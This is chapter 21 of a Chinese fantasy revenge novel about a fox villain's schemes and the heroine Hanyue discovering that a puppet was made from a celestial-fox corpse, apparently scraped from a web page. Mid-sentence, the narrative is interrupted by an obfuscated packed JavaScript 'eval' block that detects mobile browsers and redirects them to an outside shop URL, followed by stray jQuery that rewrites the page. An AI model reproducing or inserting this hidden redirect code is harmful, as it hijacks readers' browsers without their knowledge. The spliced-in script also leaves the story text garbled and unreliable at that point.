21.第 21 章
作品:《阵起血色 天狐复仇》 信恩城。
夜幕逐渐降临,几名修士将这座废城仔细搜查了一遍,才向金芒狐狸汇报:
“大人,没有找到什么可疑的痕迹,也没有找到白鸿的尸身。”
金芒狐狸对此并没有太大意外,失去信恩城这个祭阵对他的计划影响也不大,只是心中依旧忍不住升起一股躁郁之气。
这是一种事情超出他预料所带来的不满和戾气。
他的双眼眯了眯,看着远处的极韵清光,语气喜怒难辨:“融绮……”
如今生死阵已经开启,为免节外生枝,他还要给这些人多找点事才行。
金芒狐狸思索时,手下的修士安静地垂首立在一旁,不敢发出丝毫声音。
过了一会儿,金芒狐狸站起身来:“你们都回去,看守好琉璃域,在我回去之前不得有任何动作,若是谁泄露的行踪,知道下场是什么。”
“是。”
众修士拱手应声,很快便消散了个干净。
天色彻底黑下来了,初春的天气还带着些寒冷。
金芒狐狸迎着月光,突然站起身,语气平静中带着凉意道:“你来的太晚了些。”
一个带着鬼面面具的修士不知何时出现在他身后,声音沙哑粗噶:“融绮今天找我了,你应该知道她有多敏锐,我必须小心应对才能不被她怀疑。”
金芒狐狸嘴角翘了翘,神色带着讥讽,语气却平静无波:“那是你无能。”
鬼面邪修目光狠辣地看向他,杀意几乎压制不住。
金芒狐狸却毫不在意,转身看向他道:“她找你是为了调查这里的事?”
鬼面邪修冷冷地看了他一眼:“你说呢。”
“那便正好,衡宗我进不去,需要你清理掉白鸿身上所有的痕迹,包括邪术和阵法。还有这下面的东西……”
金芒狐狸低头看向地面,仿佛透过厚厚的地面看穿了地底。
鬼面邪修语气不善:“这些我知道,不用你来跟我强调。”
金芒狐狸闻言,缓缓转过头来,静静地看着他,一双眼睛死寂而冰冷。
他说话时,固然让人感到阴阳怪气,忍不住怒意盎然。可一旦不说话只是看着时,那僵硬死寂的脸又让人感到无尽的诡谲和毛骨悚然,从心底生出更深的忌惮和恐惧。
鬼面邪修强压住心惊肉跳的感觉,故作不耐烦道:“你还有什么要交代的,赶紧说了,别到时候又要我帮忙。”
金芒狐狸忽而笑了,笑容僵硬而诡异,道:“若是你能连融绮一起除掉就好了。”
鬼面邪修几乎惊跳起来,难以置信地反问道:“我除掉融绮?你疯了?!”
金芒狐狸的笑意加深,更显得五官极其不协调。他似乎很乐意看到鬼面邪修被激怒的样子:“那算了,你确实杀不了融绮。”
鬼面邪修也反应过来,金芒狐狸就是在故意挑动他的情绪。他当即恼羞成怒道:“你要是没有别的事,我走了。”
金芒狐狸:“等等。”
他一步一步走下高台,淡然道:“杀死融绮你做不到,那杀死她的两个弟子如何?”
鬼面邪修心中的愤怒终于爆发:“你是不是邪术练多了把脑子练坏了?!若是融绮死了,天底下没有人能给她报仇!可抚浣和渝溪……一旦他们出事,融绮就算掘地三尺也会找出凶手,我们谁也承受不住她的报复。到时候你死了不要紧,还要连累了我们的大计划!此事我一定会上报师尊的,你就等着吧!”
金芒狐狸嘴角扯了扯:“放心,我没你这么蠢,你按照我的吩咐做就行。”
说着,他从身上拔下一撮狐狸毛丢了过去:“你把这个放在城下那东西的身旁,等衡宗派人来搜查的时候自然会看到。”
鬼面邪修接住狐狸毛:“就这?还有别的吗?”
金芒狐狸又从袖子里拿出一个状似玉髓般的金红物品:
“这是封存的一缕红莲业火,清理白鸿身上痕迹的时候不要动用自己的灵力,要用它来清理。至于剩下的就不用你管了,我自有安排。”
“我知道了。”
鬼面邪修接过东西,再也不想跟金芒狐狸多待一秒,扔下一句话后便飞身离开。
……
衡宗明岚峰,抚浣和渝溪早已醒来多日。
而寒月醒来已经是一个月后,她的生机近乎断绝,多亏了融绮的全力抢救才捡回一条命来。
寒月在抚浣的搀扶下向融绮叩首:“前辈救命之恩,寒月无以为报,必当铭记于心。”
融绮受了她这一礼,而后指尖轻动,发出一道灵力将她托起:“你与我有缘,方才一礼便当做拜师之礼吧,以后你便是我三弟子。”
寒月愣了一愣,连忙道:“弟子百里寒月,拜见师父。”
融绮微微展露笑意,又正色道:
“你生机损耗严重,需要修养至少半年才能稍作弥补,这半年内你就留在映空池修炼蕴养吧。你身上的混沌珠被血煞污染,出现了数道裂缝。虽然可以修补,但其材质十分特殊,需要颇费一段时间。
我暂时封住了你体内的寒气,但只能维持半年。这半年之内你不仅要蕴养生机,更要尽快恢复修为,最少要修炼至中品帝阶,才能完全压制住寒气。
这次损伤虽然危险,对你而言也算一件幸事。你体内的寒气十分特殊,但既然是与你相伴相生,说到底还需要靠自身来压制住才行,不能一直依赖外物。而今便是你尝试独自压制这寒气的最好时机。”
“弟子明白。”
融绮交代完所有事情后,才起身离开。
念岚大难不死后,兴奋不已,在床头床尾上乱窜,时不时跳上寒月和抚浣的肩头吵吵闹闹地插上几句,一刻也闲不下来。
抚浣:“前些日子宗门派人前往信恩城调查情况,北乐师伯和沧贺长老听闻此事后,也特意赶去了。但那里的所有的痕迹都被师父抹去了,只留下了被献祭的尸骸和废墟。
这件事的水很深,除了明面上的邪修,更危险的是藏在暗处的敌人。如此庞大的邪阵,绝
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17184467|196935||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
不会无声无息地建立起来,且一整座城的人都死于邪阵,周围的仙门却浑然不觉,其中问题显而易见。
为了避免被报复,所以你破开邪阵的事越少人知道越好。师父对外宣称,是她知道我们遇难的消息后,亲自赶到信恩城破除的邪阵。”
“其实这种邪阵少之又少,寻常人见都见不到,更别说想到这东西是被人破开的。”念岚好奇道:“但是,寒月,你为什么会这么多阵法呢?就连这种诡异的邪阵都能破开?”
此话一出,全室寂静。
念岚慢了半拍,才迟钝地意识到,它好像说错话了,连忙道:“……要是不方便说,就当我没有问过。”
寒月想了想,摇摇头:“没什么不方便的。我精通阵法,是因为我是天狐之女。十年前天狐灭族,我侥幸活了下来。来仙门大陆历练,也是为了尽早找出仇人,报仇雪恨。”
“那你有线索吗?”
“天狐灭族时我还太小,很多事都不太记得,只记得与邪术有关。”寒月一边思索着,一边压抑心中的恨意,双眼遥望窗边的天空:“天下邪术无非这些,能亡我族人的绝不会是泛泛之辈,只要他还活着,我就一定能找出他,杀了他。”
抚浣想了想,犹豫了片刻:“其实,现在已经有眉目了。”
寒月:“你是说信恩城?”
抚浣摇头:“不,是金芒狐狸,信恩城的邪修和邪阵都与他有关。而且,这家伙极其精通阵法,会不会他就是骷髅邪修口中的那个天狐?”
说到最后,抚浣的声音变得很轻。
渝溪眉头紧锁:“若金芒狐狸就是天狐,也是灭族天狐之人,那他为何要这么做呢?”
“那金芒狐狸必然是对天狐恨之入骨,所以才会进行如此惨烈的报复。”
念岚忽然想到什么,猛地拍了下大腿:“当初我们遇到金芒狐狸时,他的修为被废,会不会因此而恨上了天狐。”
“我也不知道,我从来没有在族中听说过金芒狐狸此名。”寒月微微摇头:“这些都是我们的猜测,要想真正确认,还是要等抓住他之后再说。”
抚浣温和道:“当务之急是你先养好身体。”
寒月:“放心抚浣姐,我知道轻重。对了,你刚刚说宗门派人去信恩城调查,那有结果吗?”
此话一出,房间内落针可闻。就连叽叽喳喳的念岚都好似被卡住脖子,倏然闭上了嘴。
寒月心中顿时有一种不安的感觉:“是发生什么了?”
渝溪与抚浣对视一眼。
这件事闹得沸沸扬扬,即便他们不说,寒月也会从别人口中知道。
“北乐仙君在信恩城的地下……发现了一具血煞傀儡。”
寒月不解:“然后呢?”
一具血煞傀儡而已,北乐仙君怎么说也是仙门大能,总不至于被一个傀儡挟制吧。
渝溪一咬牙,继续道:“那具傀儡是……是一具天狐尸身制作的。”
惊雷炸响,寒月脑海霎时一片空白。

